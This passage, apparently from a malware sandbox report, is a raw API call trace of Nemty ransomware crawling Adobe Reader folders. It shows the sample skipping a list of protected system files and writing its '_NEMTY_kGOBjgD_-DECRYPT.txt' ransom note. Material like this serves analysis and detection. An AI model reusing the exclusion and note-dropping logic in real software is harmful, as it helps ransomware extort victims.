lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1adb6330, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1adb6330, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1addc490, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0173.205] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0173.205] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0173.205] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0173.205] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0173.205] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0173.205] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0173.205] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0173.205] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0173.205] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0173.206] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0173.206] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.206] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.206] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0173.206] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0173.206] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0173.206] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0173.206] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0173.206] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0173.206] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0173.206] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0173.206] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0173.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.206] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.206] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0173.206] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.206] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0173.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.206] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.206] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.206] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.206] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0173.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.207] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1adb6330, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1adb6330, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1addc490, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0173.207] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0173.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0173.207] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="SLV", cAlternateFileName="")) returned 1 [0173.207] lstrcmpiW (lpString1="SLV", lpString2=".") returned 1 [0173.207] lstrcmpiW (lpString1="SLV", lpString2="..") returned 1 [0173.207] lstrcmpiW (lpString1="SLV", lpString2="...") returned 1 [0173.207] lstrcmpiW (lpString1="SLV", lpString2="windows") returned -1 [0173.207] lstrcmpiW (lpString1="SLV", lpString2="$RECYCLE.BIN") returned 1 [0173.207] lstrcmpiW (lpString1="SLV", lpString2="rsa") returned 1 [0173.207] lstrcmpiW (lpString1="SLV", lpString2="NTDETECT.COM") returned 1 [0173.207] lstrcmpiW (lpString1="SLV", lpString2="ntldr") returned 1 [0173.207] lstrcmpiW (lpString1="SLV", lpString2="MSDOS.SYS") returned 1 [0173.207] lstrcmpiW (lpString1="SLV", lpString2="IO.SYS") returned 1 [0173.207] lstrcmpiW (lpString1="SLV", lpString2="boot.ini") returned 1 [0173.207] lstrcmpiW (lpString1="SLV", lpString2="boot.ini") returned 1 [0173.207] lstrcmpiW (lpString1="SLV", lpString2="AUTOEXEC.BAT") returned 1 [0173.207] lstrcmpiW (lpString1="SLV", lpString2="ntuser.dat") returned 1 [0173.207] lstrcmpiW (lpString1="SLV", lpString2="desktop.ini") returned 1 [0173.207] lstrcmpiW (lpString1="SLV", lpString2="CONFIG.SYS") returned 1 [0173.207] lstrcmpiW (lpString1="SLV", lpString2="RECYCLER") returned 1 [0173.207] lstrcmpiW (lpString1="SLV", lpString2="BOOTSECT.BAK") returned 1 [0173.207] lstrcmpiW (lpString1="SLV", lpString2="bootmgr") returned 1 [0173.207] lstrcmpiW (lpString1="SLV", lpString2="programdata") returned 1 [0173.207] lstrcmpiW (lpString1="SLV", lpString2="appdata") returned 1 [0173.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SLV", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SLV", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SLV", lpUsedDefaultChar=0x0) returned 3 [0173.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SLV", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SLV", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SLV", lpUsedDefaultChar=0x0) returned 3 [0173.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0173.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0173.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0173.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0173.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0173.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.208] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0173.209] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.209] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0173.210] CloseHandle (hObject=0x254) returned 1 [0173.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0173.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0173.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0173.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0173.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.210] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.211] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.211] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0173.212] CloseHandle (hObject=0x254) returned 1 [0173.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.212] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ae28750, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ae28750, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0173.212] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0173.212] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ae28750, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ae28750, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0173.212] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0173.212] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0173.213] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0173.213] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0173.213] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0173.213] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0173.213] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0173.213] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0173.213] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0173.213] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0173.213] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0173.213] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0173.213] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0173.213] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0173.213] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0173.213] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0173.213] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0173.213] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0173.213] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0173.213] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0173.213] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0173.213] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0173.213] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0173.213] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0173.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc2f5, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0173.214] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0173.214] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0173.214] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0173.214] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0173.214] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0173.214] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0173.214] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0173.214] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0173.214] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0173.214] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0173.214] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0173.214] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0173.214] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0173.214] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0173.214] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0173.214] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0173.214] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0173.214] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0173.214] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0173.214] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0173.214] lstrcmpiW (lpString1="license.html", 